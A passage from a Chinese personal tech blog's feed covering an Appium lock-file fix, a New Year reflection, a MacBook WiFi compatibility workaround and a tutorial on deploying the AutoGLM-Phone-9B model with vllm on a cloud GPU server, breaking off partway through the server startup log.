环境和网络层面，需要从 npm 配置（镜像源、registry）、Node.js 版本等方面进一步排查，而不是继续在 Appium 这一层兜圈子。</p></blockquote><h2 id="小结">小结</h2><p>这类锁文件残留的问题在各种包管理工具里都挺常见的，npm、yarn、pip、cargo 都有类似机制。遇到安装命令无缘无故失败、报错信息又非常空洞的时候，可以优先检查一下有没有残留的 lock 或 pid 文件。</p>]]></content>
    
    
    <summary type="html">appium driver install xcuitest 时遭遇 npm command failed with code null，删除 install.lock 文件即可解决。</summary>
    
    
    
    <category term="编程学习" scheme="https://blog.musnow.top/categories/%E7%BC%96%E7%A8%8B%E5%AD%A6%E4%B9%A0/"/>
    
    <category term="测试开发那些事" scheme="https://blog.musnow.top/categories/%E7%BC%96%E7%A8%8B%E5%AD%A6%E4%B9%A0/%E6%B5%8B%E8%AF%95%E5%BC%80%E5%8F%91%E9%82%A3%E4%BA%9B%E4%BA%8B/"/>
    
    
    <category term="测试开发" scheme="https://blog.musnow.top/tags/%E6%B5%8B%E8%AF%95%E5%BC%80%E5%8F%91/"/>
    
    <category term="Appium" scheme="https://blog.musnow.top/tags/Appium/"/>
    
  </entry>
  
  <entry>
    <title>【2026】新年快乐！</title>
    <link href="https://blog.musnow.top/posts/5235621469/"/>
    <id>https://blog.musnow.top/posts/5235621469/</id>
    <published>2026-01-02T09:15:27.000Z</published>
    <updated>2026-01-02T09:33:07.000Z</updated>
    
    <content type="html"><![CDATA[<p>2025，可以算是人生中体感过得最快的一年，也是人生中非常重要的一年。</p><p>从这年开始，慕雪彻底告别了校园，告别了十余年的学生时代，踏入了工作岗位，迎来未知的挑战。</p><p>从此以后，再也听不到宿舍开黑的笑语，再也没有长长的寒暑假，也再也不会有人和你一起承担期末复习周的压力——出了校园，一切都靠自己。</p><p>之前在网上看到过这样一句话：好好珍惜自己的学生时代，因为只有学生时代，你的努力，才是能被你的成绩量化的。进入社会和工作后，再也没有稳定的量化指标，你的任何努力，都可能会是竹篮打水一场空，得不到任何结果。</p><blockquote><p>“What’s happened’s happened. Which is an expression of faith in the mechanics of the world. It’s not an excuse to do nothing.”<sup class="footnote-ref"><a href="#fn1" id="fnref1">[1]</a></sup></p></blockquote><p>This is reality.</p><p>希望能一切顺利，健康安稳。</p><p>愿2026，更加美好！</p><h2 id="2026，新年快乐！">2026，新年快乐！</h2><p><img src= "/img/loading.gif" data-lazy-src="https://img.musnow.top/i/2026/01/c2c875f4545f75a00a8d5d7850dff835.webp" alt="画师没更新，停留在2020了"></p><hr class="footnotes-sep"><section class="footnotes"><ol class="footnotes-list"><li id="fn1" class="footnote-item"><p>电影《信条》中男二尼尔在最后道别时对男主说的话：“木已成舟。这是对世间运行法则的一份笃定，而非不作为的借口。” <a href="#fnref1" class="footnote-backref">↩︎</a></p></li></ol></section>]]></content>
    
    
    <summary type="html">2026，新年快乐！</summary>
    
    
    
    <category term="随便写写" scheme="https://blog.musnow.top/categories/%E9%9A%8F%E4%BE%BF%E5%86%99%E5%86%99/"/>
    
    
    <category term="随笔" scheme="https://blog.musnow.top/tags/%E9%9A%8F%E7%AC%94/"/>
    
  </entry>
  
  <entry>
    <title>【Mac】解决MacBook WiFi玄学问题“连上WiFI但是没网络”的折腾经历</title>
    <link href="https://blog.musnow.top/posts/2013771800/"/>
    <id>https://blog.musnow.top/posts/2013771800/</id>
    <published>2025-12-21T12:59:33.000Z</published>
    <updated>2025-12-21T13:47:30.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="问题出现">问题出现</h2><p>因为之前一直用的是一个老的WiFi 5路由器，链接的设备比较多，感觉网速不太稳定，就新买了个WiFi 7路由器（TP-Link的BE3600）。结果没想到，遇到了MacBook的&quot;玄学&quot;问题，让我折腾了将近两个周末的时间……</p><p>刚路由器设置好，用MacBook连上WiFi，一切正常。毕竟只是换个路由器，用的也是光猫拨号（没有设置光猫桥接模式），本来就不太可能出现啥问题。但是用了几天就发现了一个问题，每次链接WiFi之后，大约过了10分钟，Mac就上不了网了，具体表现为：<strong>WiFi显示正常连接，但就是上不了网</strong>。</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.musnow.top/i/2025/12/8f39d2238d6d16385ee975a9b2846cab.webp" alt="image.png"></p><h2 id="排查思路">排查思路</h2><p>问题出现了自然是要想办法解决，首先自然是这个新路由器自己是不是有点毛病。但考虑到我的windows电脑也连着这个WiFi连续打了很久的在线游戏，都没有遇到过掉包或者断网的问题，手机连着看视频啥的都正常，那大概率不是路由器自己的毛病了。</p><p>所以，问题就回到了Mac身上。</p><p>最容易想到的就是代理导致的，于是关闭代理软件，清除所有代理设置——问题依旧。</p><p>到这里我就没啥招了，暂时也不想重装系统，于是上苹果线下售后看了看，检测了硬件都是良好的。其实硬件没问题也是意料之中，不然怎么解释刚连上5G的时候能上网？硬件要是真有问题大概率是一开始就连不上这WiFi。</p><blockquote><p>苹果线下售后的服务态度是真不错，就是人也是真的多，活像🏥挂号。预约的天才吧（是叫这个名字吧？）16点，最后快17点了才轮到我。</p></blockquote><p>售后工程师给了个方案，就是在网络设置里面新建一个“环境”，然后切到这个新的环境去用。当时这样操作之后，网络就正常了。连续用Ping测试了40分钟都没有断网，感觉问题搞定了，于是回家。</p><blockquote><p>当时售后也说了，如果这样弄还搞不定，就要考虑重装系统了</p></blockquote><p>回家之后，用了几天，发现问题又来了……如法炮制又新建了一个“网络环境”，切过去还是无济于事。于是就备份资料，进入恢复模式，格式化硬盘，重置系统。</p><blockquote><p>家里有个移动硬盘，平时文件整理习惯也好，所有资料都在一个data文件夹里面，把自己的数据都拷贝出去，直接重装系统就行了，唯一难受的就是得重新配开发环境。</p></blockquote><p>重置系统之后，不装代理，继续使用了几个小时……问题又来了！！！！</p><h2 id="问题解决">问题解决</h2><p>前面那些方法全都没搞定，本来都要放弃治疗了，无意之中想到了最后一个可能性：<strong>Mac和这个路由器不兼容</strong>！</p><p>抱着试一试的心态，我进路由器的App，把原来合并的5GHz/2.4GHz WiFi分开了：</p><ul><li>原来是一个统一的名字，路由器和设备自动选择频段</li><li>改成两个独立的WiFi：<code>XXX_5G</code>和<code>XXX_2.4G</code></li></ul><p>然后让MacBook专门连接2.4GHz的那个WiFi。</p><p>奇迹发生了！连接2.4GHz WiFi后，再也没有出现过&quot;WiFi连接正常但无网络&quot;的问题。连续使用了好几天，网络一直稳定得不行。</p><p>不过说实话，2.4G的网速是真的慢的要死，相同位置的windows台式（和WiFi隔了一堵墙），主板内置的WiFi7的网卡，能跑满宽带300mbps的速度。但连2.4G WiFi的mac只有区区50mbps，有点可怜了。</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.musnow.top/i/2025/12/99f5effc05b13adaa2742e54cbe91303.webp" alt="image.png"></p><p>好在我用mac多是办公娱乐为主，对网速要求并没有那么高，相比于天天整断网这一出，50mbps也勉强够用了。</p><h2 id="写在最后">写在最后</h2><p>这次的&quot;WiFi玄学问题&quot;真的让我折腾了好久。从最开始怀疑梯子、怀疑mac自己硬件有问题，到重装系统，最后才发现是路由器不兼容的问题，真是无语了。<strong>谁能想到那么贵一苹果电脑还能和WiFi有兼容性问题</strong>……</p><p>就是不知道，如果买个小路由器当AP连主路由器，再用网线连Mac，是不是能解决网络不稳定的问题？相当于拿这个路由器当外置WiFi网卡用。</p><p>咱也没试过，毕竟整这一出还得给mac买个有网口的扩展坞，成本也不低（主要是效果未知）</p><p><em>注：本文记录的是个人遇到的问题和解决方案，具体问题可能因设备型号和环境不同而有所差异。</em></p>]]></content>
    
    
    <summary type="html">分享MacBook与WiFi7路由器5GHz频段的兼容性问题及解决方法</summary>
    
    
    
    <category term="差生文具多" scheme="https://blog.musnow.top/categories/%E5%B7%AE%E7%94%9F%E6%96%87%E5%85%B7%E5%A4%9A/"/>
    
    <category term="电脑使用小贴士" scheme="https://blog.musnow.top/categories/%E5%B7%AE%E7%94%9F%E6%96%87%E5%85%B7%E5%A4%9A/%E7%94%B5%E8%84%91%E4%BD%BF%E7%94%A8%E5%B0%8F%E8%B4%B4%E5%A3%AB/"/>
    
    
    <category term="MacBook" scheme="https://blog.musnow.top/tags/MacBook/"/>
    
  </entry>
  
  <entry>
    <title>【AI】智谱AutoGLM部署教程：AutoDL云服务器+本地PhoneAgent配置</title>
    <link href="https://blog.musnow.top/posts/3465160585/"/>
    <id>https://blog.musnow.top/posts/3465160585/</id>
    <published>2025-12-10T14:18:52.000Z</published>
    <updated>2025-12-11T14:45:21.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="1-引言">1. 引言</h2><p>开源地址：<a href="https://github.com/zai-org/Open-AutoGLM">https://github.com/zai-org/Open-AutoGLM</a></p><p>一般情况下呢，这里得要介绍一下这个模型，背景信息啊，什么什么的。但慕雪最近很忙没时间写，直接跳过步入正题吧！</p><p>总而言之言而总之，这是智谱在25年12月9日开源的，一个专门为手机UI自动化操作开发的大模型，在今年早些时候AutoGLM的手机App就已经上线并可以通过里面的云端虚拟手机进行测试。现在，智谱把模型和本地Agent框架PhoneAgent一并开源，让我们可以自己部署AutoGLM并将其运用到各类UI自动化操作上。</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.musnow.top/i/2025/12/de63ab76f560639684048a74d6422600.webp" alt="image.png"></p><p>因为是自部署的，数据都在你本地，也就不用担心大模型云端操作的隐私泄露问题了。</p><h2 id="2-AutoDL部署AutoGLM模型">2. AutoDL部署AutoGLM模型</h2><h3 id="2-1-创建镜像">2.1. 创建镜像</h3><blockquote><p>AutoDL：<a href="https://www.autodl.com/home">https://www.autodl.com/home</a></p></blockquote><p>根据官方在<a href="https://github.com/zai-org/Open-AutoGLM/issues/20">issue</a>里面的回复，AutoGLM模型使用24G显存勉强可以运行，但实际上会占用27G的显存+共享内存，所以，需要在AutoDL上选一个32GB或48GB显存的服务器，cuda版本为12.8以上的，镜像选择<code>PyTorch 2.8.0</code>、<code>Python 3.12(ubuntu22.04)</code>、<code>CUDA 12.8</code>，就可以了。</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.musnow.top/i/2025/12/12313e28630ff71cc2c3ab8a2e668fc8.webp" alt="image.png"></p><p>创建镜像并开机之后，可以用ssh工具连这个服务器，也可以直接用控制台里面的jupyterLab链接，jupyterLab本身就带了终端持久运行的能力，不再需要我们安装tmux等其他守护进程工具了。</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.musnow.top/i/2025/12/b80ab2b8902a3140ca4d26d3dcb40257.webp" alt="image.png"></p><h3 id="2-2-下载模型">2.2. 下载模型</h3><p>因为AutoDL是境内服务器，所以推荐去阿里的魔搭社区上下载模型：<a href="https://modelscope.cn/models/ZhipuAI/AutoGLM-Phone-9B">https://modelscope.cn/models/ZhipuAI/AutoGLM-Phone-9B</a></p><p>下载方式在魔搭社区上也有教程，执行如下命令即可。注意，在AutoDL上一定要进入<code>/root/autodl-tmp</code>数据盘进行操作，否则模型会直接把系统盘塞满，影响系统运行了。</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">pip install modelscope</span><br><span class="line"><span class="comment"># 下载模型到本地，注意一定要有--local_dir参数</span></span><br><span class="line">modelscope download --model ZhipuAI/AutoGLM-Phone-9B --local_dir /root/autodl-tmp/autoglm-phone-9b</span><br></pre></td></tr></table></figure><p><img src= "/img/loading.gif" data-lazy-src="https://img.musnow.top/i/2025/12/82f45cd11634f421ff3a873e06ae09a9.webp" alt="image.png"></p><p>模型大约20GB，在AutoDL上下载大概需要半个小时，耐心等待一下吧。</p><h3 id="2-3-配置vllm运行环境">2.3. 配置vllm运行环境</h3><p>等待模型下载期间也别闲着，开另外一个终端配置一下vllm的运行环境。</p><p>AutoGLM依赖于<code>vllm 0.12.0</code>和<code>transformers 5.0.0rc0</code>，我们可以创建一个conda环境来安装。</p><blockquote><p>vllm 0.12.0在官方release中说明强依赖pytorch 3.9.0和cuda 12.9，但实测在AutoDL的cuda 12.8的环境里面是能可以正常运行无报错的。</p></blockquote><p>执行如下命令，创建一个conda虚拟环境</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 创建虚拟环境</span></span><br><span class="line">conda create -n vllm python=3.12 -y</span><br><span class="line"><span class="comment"># 初始化</span></span><br><span class="line">conda init</span><br></pre></td></tr></table></figure><p>首次执行完毕conda init之后，会提示你开另外一个新终端，开一个新终端之后，执行如下命令</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">conda init</span><br><span class="line"><span class="comment"># 激活刚刚创建的虚拟环境</span></span><br><span class="line">conda activate vllm</span><br></pre></td></tr></table></figure><p>执行完毕后，我们就已经进入刚刚新创建的虚拟环境里面了，执行下面两个命令即可。AutoDL的镜像已经默认设置了阿里pypi源，不需要我们修改镜像源了。</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">pip install vllm==0.12.0  <span class="comment"># 一定要先安装这个</span></span><br><span class="line">pip install transformers==5.0.0rc0</span><br></pre></td></tr></table></figure><p>注意，一定需要先安装vllm，然后再安装transformers<sup class="footnote-ref"><a href="#fn1" id="fnref1">[1]</a></sup>，安装<code>transformers==5.0.0rc0</code>的时候会出现依赖不匹配的报错，因为vllm 0.12.0依赖的是4.x版本的transformers。可以直接<strong>忽略</strong>这个依赖版本不匹配的报错，智谱官方在issue里面提到了是能够兼容的，实测也确实OK。</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.musnow.top/i/2025/12/2fb20f9ed9ad8a6f8e3c457b57628d44.webp" alt="image.png"></p><blockquote><p>其实不安装<code>transformers==5.0.0rc0</code>我也试过，模型也能运行，<strong>似乎</strong>也没啥问题。但是控制台会有加载解析器正则错误的告警，估计这就是截图里面提到的“新写法”导致的问题了。所以还是老实安装升级吧！</p></blockquote><p>安装完毕这俩库之后，环境就搞定了，可以运行模型了！（当然得等模型下完了才行）</p><h3 id="2-4-运行模型">2.4. 运行模型</h3><p>使用AutoGLM仓库里面给出的vllm命令，运行模型。注意这个命令需要修改我们下载好的模型本地路径，和端口号。AutoDL平台上只有6006和6008端口号是被映射到公网上的，其他端口号都不能使用。</p><p>另外，AutoDL租用的服务器提供外网服务需进行<strong>实名认证</strong>，请确保你的大模型服务不会被滥用生成违规违禁内容，避免罪责到你身上。</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 修改最后的--model模型本地路径和--port绑定端口号</span></span><br><span class="line">python3 -m vllm.entrypoints.openai.api_server \</span><br><span class="line">     --served-model-name autoglm-phone-9b \</span><br><span class="line">     --allowed-local-media-path /   \</span><br><span class="line">     --mm-encoder-tp-mode data \</span><br><span class="line">     --mm_processor_cache_type shm \</span><br><span class="line">     --mm_processor_kwargs <span class="string">&quot;&#123;\&quot;max_pixels\&quot;:5000000&#125;&quot;</span> \</span><br><span class="line">     --max-model-len 25480  \</span><br><span class="line">     --chat-template-content-format string \</span><br><span class="line">     --limit-mm-per-prompt <span class="string">&quot;&#123;\&quot;image\&quot;:10&#125;&quot;</span> \</span><br><span class="line">     --model /root/autodl-tmp/autoglm-phone-9b \</span><br><span class="line">     --port 6006</span><br></pre></td></tr></table></figure><p>执行这个命令后，vllm就会开始运行并加载模型，出现服务已上线，就是模型加载成功了。</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.musnow.top/i/2025/12/09c20622a40148f2b5975002af31042b.webp" alt="image.png"></p><p>回到控制台，点击自定义服务</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.musnow.top/i/2025/12/73967791e879be82a2b3df86027fdfe1.webp" alt="image.png"></p><p>把这里的6006端口号映射的URL复制一份，输入到浏览器里面。如果出现json的返回信息，且终端里面出现了请求日志，那就是模型服务部署成功了！</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.musnow.top/i/2025/12/4ba60b13df5036e5709ff10e27876db7.webp" alt="image.png"></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.musnow.top/i/2025/12/6001c499701ae0836f1c88338e9794b1.webp" alt="image.png"></p><h3 id="2-5-完整模型加载日志">2.5. 完整模型加载日志</h3><details class="toggle"><summary class="toggle-button">完整的模型加载日志</summary><div class="toggle-content"><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br></pre></td><td class="code"><pre><span class="line">(vllm) root@autodl-container-50604192c4-d9d01c36:~/autodl-tmp# # 修改最后的--model模型本地路径和--port绑定端口号</span><br><span class="line">python3 -m vllm.entrypoints.openai.api_server \</span><br><span class="line">     --served-model-name autoglm-phone-9b \</span><br><span class="line">     --allowed-local-media-path /   \</span><br><span class="line">     --mm-encoder-tp-mode data \</span><br><span class="line">     --mm_processor_cache_type shm \</span><br><span class="line">     --mm_processor_kwargs &quot;&#123;\&quot;max_pixels\&quot;:5000000&#125;&quot; \</span><br><span class="line">     --max-model-len 25480  \</span><br><span class="line">     --chat-template-content-format string \</span><br><span class="line">     --limit-mm-per-prompt &quot;&#123;\&quot;image\&quot;:10&#125;&quot; \</span><br><span class="line">     --model /root/autodl-tmp/autoglm-phone-9b \</span><br><span class="line">     --port 6006</span><br><span class="line">(APIServer pid=1433) INFO 12-10 22:50:46 [api_server.py:1772] vLLM API server version 0.12.0</span><br><span class="line">(APIServer pid=1433) INFO 12-10 22:50:46 [utils.py:253] non-default args: &#123;&#x27;port&#x27;: 6006, &#x27;chat_template_content_format&#x27;: &#x27;string&#x27;, &#x27;model&#x27;: &#x27;/root/autodl-tmp/autoglm-phone-9b&#x27;, &#x27;allowed_local_media_path&#x27;: &#x27;/&#x27;, &#x27;max_model_len&#x27;: 25480, &#x27;served_model_name&#x27;: [&#x27;autoglm-phone-9b&#x27;], &#x27;limit_mm_per_prompt&#x27;: &#123;&#x27;image&#x27;: 10&#125;, &#x27;mm_processor_kwargs&#x27;: &#123;&#x27;max_pixels&#x27;: 5000000&#125;, &#x27;mm_processor_cache_type&#x27;: &#x27;shm&#x27;, &#x27;mm_encoder_tp_mode&#x27;: &#x27;data&#x27;&#125;</span><br><span class="line">(APIServer pid=1433) Unrecognized keys in `rope_parameters` for &#x27;rope_type&#x27;=&#x27;default&#x27;: &#123;&#x27;partial_rotary_factor&#x27;, &#x27;mrope_section&#x27;&#125;</span><br><span class="line">(APIServer pid=1433) INFO 12-10 22:50:46 [model.py:637] Resolved architecture: Glm4vForConditionalGeneration</span><br><span class="line">(APIServer pid=1433) INFO 12-10 22:50:46 [model.py:1750] Using max model len 25480</span><br><span class="line">(APIServer pid=1433) INFO 12-10 22:50:46 [scheduler.py:228] Chunked prefill is enabled with max_num_batched_tokens=2048.</span><br><span class="line">(EngineCore_DP0 pid=1485) INFO 12-10 22:50:55 [core.py:93] Initializing a V1 LLM engine (v0.12.0) with config: model=&#x27;/root/autodl-tmp/autoglm-phone-9b&#x27;, speculative_config=None, tokenizer=&#x27;/root/autodl-tmp/autoglm-phone-9b&#x27;, skip_tokenizer_init=False, tokenizer_mode=auto, revision=None, tokenizer_revision=None, trust_remote_code=False, dtype=torch.bfloat16, max_seq_len=25480, download_dir=None, load_format=auto, tensor_parallel_size=1, pipeline_parallel_size=1, data_parallel_size=1, disable_custom_all_reduce=False, quantization=None, enforce_eager=False, kv_cache_dtype=auto, device_config=cuda, structured_outputs_config=StructuredOutputsConfig(backend=&#x27;auto&#x27;, disable_fallback=False, disable_any_whitespace=False, disable_additional_properties=False, reasoning_parser=&#x27;&#x27;, reasoning_parser_plugin=&#x27;&#x27;, enable_in_reasoning=False), observability_config=ObservabilityConfig(show_hidden_metrics_for_version=None, otlp_traces_endpoint=None, collect_detailed_traces=None, kv_cache_metrics=False, kv_cache_metrics_sample=0.01), seed=0, served_model_name=autoglm-phone-9b, enable_prefix_caching=True, enable_chunked_prefill=True, pooler_config=None, compilation_config=&#123;&#x27;level&#x27;: None, &#x27;mode&#x27;: &lt;CompilationMode.VLLM_COMPILE: 3&gt;, &#x27;debug_dump_path&#x27;: None, &#x27;cache_dir&#x27;: &#x27;&#x27;, &#x27;compile_cache_save_format&#x27;: &#x27;binary&#x27;, &#x27;backend&#x27;: &#x27;inductor&#x27;, &#x27;custom_ops&#x27;: [&#x27;none&#x27;], &#x27;splitting_ops&#x27;: [&#x27;vllm::unified_attention&#x27;, &#x27;vllm::unified_attention_with_output&#x27;, &#x27;vllm::unified_mla_attention&#x27;, &#x27;vllm::unified_mla_attention_with_output&#x27;, &#x27;vllm::mamba_mixer2&#x27;, &#x27;vllm::mamba_mixer&#x27;, &#x27;vllm::short_conv&#x27;, &#x27;vllm::linear_attention&#x27;, &#x27;vllm::plamo2_mamba_mixer&#x27;, &#x27;vllm::gdn_attention_core&#x27;, &#x27;vllm::kda_attention&#x27;, &#x27;vllm::sparse_attn_indexer&#x27;], &#x27;compile_mm_encoder&#x27;: False, &#x27;compile_sizes&#x27;: [], &#x27;inductor_compile_config&#x27;: &#123;&#x27;enable_auto_functionalized_v2&#x27;: False, &#x27;combo_kernels&#x27;: True, &#x27;benchmark_combo_kernel&#x27;: True&#125;, &#x27;inductor_passes&#x27;: &#123;&#125;, &#x27;cudagraph_mode&#x27;: &lt;CUDAGraphMode.FULL_AND_PIECEWISE: (2, 1)&gt;, &#x27;cudagraph_num_of_warmups&#x27;: 1, &#x27;cudagraph_capture_sizes&#x27;: [1, 2, 4, 8, 16, 24, 32, 40, 48, 56, 64, 72, 80, 88, 96, 104, 112, 120, 128, 136, 144, 152, 160, 168, 176, 184, 192, 200, 208, 216, 224, 232, 240, 248, 256, 272, 288, 304, 320, 336, 352, 368, 384, 400, 416, 432, 448, 464, 480, 496, 512], &#x27;cudagraph_copy_inputs&#x27;: False, &#x27;cudagraph_specialize_lora&#x27;: True, &#x27;use_inductor_graph_partition&#x27;: False, &#x27;pass_config&#x27;: &#123;&#x27;fuse_norm_quant&#x27;: False, &#x27;fuse_act_quant&#x27;: False, &#x27;fuse_attn_quant&#x27;: False, &#x27;eliminate_noops&#x27;: True, &#x27;enable_sp&#x27;: False, &#x27;fuse_gemm_comms&#x27;: False, &#x27;fuse_allreduce_rms&#x27;: False&#125;, &#x27;max_cudagraph_capture_size&#x27;: 512, &#x27;dynamic_shapes_config&#x27;: &#123;&#x27;type&#x27;: &lt;DynamicShapesType.BACKED: &#x27;backed&#x27;&gt;&#125;, &#x27;local_cache_dir&#x27;: None&#125;</span><br><span class="line">(EngineCore_DP0 pid=1485) INFO 12-10 22:50:57 [parallel_state.py:1200] world_size=1 rank=0 local_rank=0 distributed_init_method=tcp://172.17.0.10:47959 backend=nccl</span><br><span class="line">(EngineCore_DP0 pid=1485) INFO 12-10 22:50:58 [parallel_state.py:1408] rank 0 in world size 1 is assigned as DP rank 0, PP rank 0, PCP rank 0, TP rank 0, EP rank 0</span><br><span class="line">(EngineCore_DP0 pid=1485) Using a slow image processor as `use_fast` is unset and a slow processor was saved with this model. `use_fast=True` will be the default behavior in v4.52, even if the model was saved with a slow processor. This will result in minor differences in outputs. You&#x27;ll still be able to use a slow processor with `use_fast=False`.</span><br><span class="line">(EngineCore_DP0 pid=1485) Keyword argument `max_pixels` is not a valid argument for this processor and will be ignored.</span><br><span class="line">(EngineCore_DP0 pid=1485) INFO 12-10 22:51:05 [gpu_model_runner.py:3467] Starting to load model /root/autodl-tmp/autoglm-phone-9b...</span><br><span class="line">(EngineCore_DP0 pid=1485) INFO 12-10 22:51:05 [cuda.py:411] Using FLASH_ATTN attention backend out of potential backends: [&#x27;FLASH_ATTN&#x27;, &#x27;FLASHINFER&#x27;, &#x27;TRITON_ATTN&#x27;, &#x27;FLEX_ATTENTION&#x27;]</span><br><span class="line">Loading safetensors checkpoint shards:   0% Completed | 0/5 [00:00&lt;?, ?it/s]</span><br><span class="line">Loading safetensors checkpoint shards:  20% Completed | 1/5 [00:00&lt;00:00,  4.26it/s]</span><br><span class="line">Loading safetensors checkpoint shards:  40% Completed | 2/5 [00:01&lt;00:02,  1.43it/s]</span><br><span class="line">Loading safetensors checkpoint shards:  60% Completed | 3/5 [00:02&lt;00:01,  1.15it/s]</span><br><span class="line">Loading safetensors checkpoint shards:  80% Completed | 4/5 [00:03&lt;00:00,  1.03it/s]</span><br><span class="line">Loading safetensors checkpoint shards: 100% Completed | 5/5 [00:04&lt;00:00,  1.06s/it]</span><br><span class="line">Loading safetensors checkpoint shards: 100% Completed | 5/5 [00:04&lt;00:00,  1.07it/s]</span><br><span class="line">(EngineCore_DP0 pid=1485) </span><br><span class="line">(EngineCore_DP0 pid=1485) INFO 12-10 22:51:10 [default_loader.py:308] Loading weights took 4.87 seconds</span><br><span class="line">(EngineCore_DP0 pid=1485) INFO 12-10 22:51:11 [gpu_model_runner.py:3549] Model loading took 19.2562 GiB memory and 5.143751 seconds</span><br><span class="line">(EngineCore_DP0 pid=1485) INFO 12-10 22:51:11 [gpu_model_runner.py:4306] Encoder cache will be initialized with a budget of 18622 tokens, and profiled with 1 video items of the maximum feature size.</span><br><span class="line">(EngineCore_DP0 pid=1485) INFO 12-10 22:51:22 [backends.py:655] Using cache directory: /root/.cache/vllm/torch_compile_cache/19b1386448/rank_0_0/backbone for vLLM&#x27;s torch.compile</span><br><span class="line">(EngineCore_DP0 pid=1485) INFO 12-10 22:51:22 [backends.py:715] Dynamo bytecode transform time: 7.25 s</span><br><span class="line">(EngineCore_DP0 pid=1485) INFO 12-10 22:51:22 [backends.py:257] Cache the graph for dynamic shape for later use</span><br><span class="line">(EngineCore_DP0 pid=1485) INFO 12-10 22:51:29 [backends.py:288] Compiling a graph for dynamic shape takes 6.80 s</span><br><span class="line">(EngineCore_DP0 pid=1485) INFO 12-10 22:51:30 [monitor.py:34] torch.compile takes 14.05 s in total</span><br><span class="line">(EngineCore_DP0 pid=1485) INFO 12-10 22:51:31 [gpu_worker.py:359] Available KV cache memory: 19.17 GiB</span><br><span class="line">(EngineCore_DP0 pid=1485) INFO 12-10 22:51:32 [kv_cache_utils.py:1286] GPU KV cache size: 502,496 tokens</span><br><span class="line">(EngineCore_DP0 pid=1485) INFO 12-10 22:51:32 [kv_cache_utils.py:1291] Maximum concurrency for 25,480 tokens per request: 19.72x</span><br><span class="line">Capturing CUDA graphs (mixed prefill-decode, PIECEWISE): 100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 51/51 [00:03&lt;00:00, 16.86it/s]</span><br><span class="line">Capturing CUDA graphs (decode, FULL): 100%|███████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 35/35 [00:01&lt;00:00, 23.12it/s]</span><br><span class="line">(EngineCore_DP0 pid=1485) INFO 12-10 22:51:37 [gpu_model_runner.py:4466] Graph capturing finished in 5 secs, took 0.69 GiB</span><br><span class="line">(EngineCore_DP0 pid=1485) INFO 12-10 22:51:37 [core.py:254] init engine (profile, create kv cache, warmup model) took 26.32 seconds</span><br><span class="line">(APIServer pid=1433) INFO 12-10 22:51:40 [api_server.py:1520] Supported tasks: [&#x27;generate&#x27;]</span><br><span class="line">(APIServer pid=1433) INFO 12-10 22:51:40 [api_server.py:1847] Starting vLLM API server 0 on http://0.0.0.0:6006</span><br><span class="line">(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:38] Available routes are:</span><br><span class="line">(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /openapi.json, Methods: GET, 